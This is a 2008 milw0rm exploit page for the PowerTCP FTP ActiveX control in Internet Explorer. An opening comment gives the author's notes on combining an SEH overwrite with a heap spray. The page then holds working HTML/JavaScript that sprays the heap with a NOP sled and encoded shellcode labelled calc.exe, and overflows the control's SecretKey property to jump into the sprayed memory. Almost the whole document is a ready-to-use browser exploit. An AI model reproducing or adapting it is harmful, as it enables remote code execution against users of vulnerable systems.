<!--
PowerTCP FTP module Multiple Technique Exploit ( SEH Overwrite + HeapSpray )
bug originally found by : Intel (http://www.milw0rm.com/exploits/6793)
I use Intel's exploit , but IE change unASCII bytes and it doesn't work! ( my system is XP SP2 IE7 ).
then I wrote my own expl with HeapSpray technique , but it doesn't work again.
block of heap that contain my address change after eip point to it!
before jump ( EIP = unkn0wn ) :
0A0A0A0A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
0A0A0A1A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
0A0A0A2A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
0A0A0A3A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
0A0A0A4A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
0A0A0A5A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
0A0A0A6A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
0A0A0A7A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
0A0A0A8A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
after jump ( EIP = 0x0a0a0a0a ) :
0A0A0A0A 00 00 00 00 00 01 00 00 0A 0A 0A 0A 0A 0A 0A 0A ...............
0A0A0A1A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
0A0A0A2A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
0A0A0A3A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
0A0A0A4A 0A 0A 0A 0A 0A 0A 0A 0A 90 90 90 90 0E 00 00 00 ........����...
0A0A0A5A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
0A0A0A6A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
0A0A0A7A 6D 6D 6D 6C 67 67 67 66 6D 6D 6D 6C 67 67 67 66 mmmlgggfmmmlgggf
0A0A0A8A 8F 8F 8F 39 85 85 85 33 8F 8F 8F 39 85 85 85 33 ���9���3���9���3
0A0A0A9A AE FA FA F9 C9 9D 9D 9F A4 F0 F0 F3 C3 97 97 95 ������������
you know what was happen ?? ( if know tell me plz)
again I wrote exploite ,but with SEH overwrite technique !!! ouch , it would not like to work!!!!
I use flash9d.ocx for bypass /SafeSeh but ...
at this time I combine SEH overwoite and HeapSpray technique and it work properly !
now Seh Handler point to 0x0a0a0a0a block , so shellcode execute properly without changing heap block!
I think overwriting seh handler with pop/pop/ret and Next handler pointer by 0xHeapAddr work good, try to do it.
------------------------------------------------------
{ special Tnx goes to my friends : str0ke , Amir Ashtiyani ,Alireza , Amir , Yashar , Vahid and all snoop memberZ }
Shahriyar Jalayeri <Shahriyar.j // gmail // com >
Snoop Security Research committee < Snoop-security.com >
-->
<html>
<object id=boom classid="clsid:39FDA070-61BA-11D2-AD84-00105A17B608" ></object>
<input language=JavaScript onclick=Exploiter() type=button value="Launch Exploit">
<script>
// clac.exe
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
var heapSprayToAddress = 0x0a0a0a0a;
var heapBlockSize = 0x400000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function Exploiter(){
var Buffer = 'A';
var BufferSize = 1716;
// jump to the nothing!
var NextSehHandler = unescape("%90%90%90%90");
// now jump to the Hell Block
var SehHandler = unescape("%0a%0a%0a%0a");
while(Buffer.length<BufferSize) Buffer += Buffer;
Buffer = Buffer.substring(0,BufferSize);
boom.SecretKey = Buffer + NextSehHandler + SehHandler ;
}
</script>
</html>
# milw0rm.com [2008-10-26]
